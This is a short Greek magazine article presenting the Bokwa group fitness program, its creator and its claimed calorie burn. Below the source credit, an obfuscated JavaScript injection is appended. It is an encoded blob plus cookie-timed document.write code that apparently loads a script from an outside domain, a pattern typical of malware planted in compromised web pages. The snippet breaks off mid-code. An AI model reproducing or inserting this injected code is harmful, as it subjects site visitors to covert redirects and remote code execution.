Υπάρχει η Zumba, υπάρχει και η Bokwa! Γνώρισε την

Τι είναι η Bokwa: πρόκειται για ένα επαναστατικό ομαδικό πρόγραμμα γυμναστικής που προσφέρει διασκέδαση, εκγύμναση ολόκληρου του σώματος και απίστευτη καύση θερμίδων!  Στην Bokwa, συνδυάζεις κινήσεις της πυγμαχίας και του χορού με καρδιαγγειακό πρόγραμμα.

Γιατί Bokwa και όχι Zumba: στην Bokwa δεν χρειάζεται να ακολουθείς πολύπλοκες χορογραφίες. Εδώ πρωταγωνιστικό ρόλο παίζουν τα γράμματα και οι αριθμοί, αφού αυτά αναπαριστάς καθ’ όλη τη διάρκεια του προγράμματος.

Πώς ξεκίνησε η Bokwa: είναι δημιούργημα του προπονητή Paul Mavi που ήθελε να δημιουργήσει ένα πρόγραμμα ασκήσεων που θα μπορούσαν να παρακολουθήσουν εύκολα άτομα ηλικίας από 7 έως 70 ετών! Και το έκανε!

Τι σημαίνει Bokwa: η λέξη είναι σύνθετη από το boxing (πυγμαχία) και kwaito (ένας νοτιο-αφρικάνικος χορός- παραδοσιακός)!

Κι από θερμίδες: ο εμπνευστής του σου υπόσχεται πως θα κάψεις τουλάχιστον 1000-1200 σε κάθε ωριαίο πρόγραμμα Bokwa.

Για να μάθεις τα πάντα για τη νέα αυτή μέθοδο άσκησης, κλίκαρε στην επίσημη ιστοσελίδα: http://bokwafitness.com

Πηγή: shape.gr
UoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘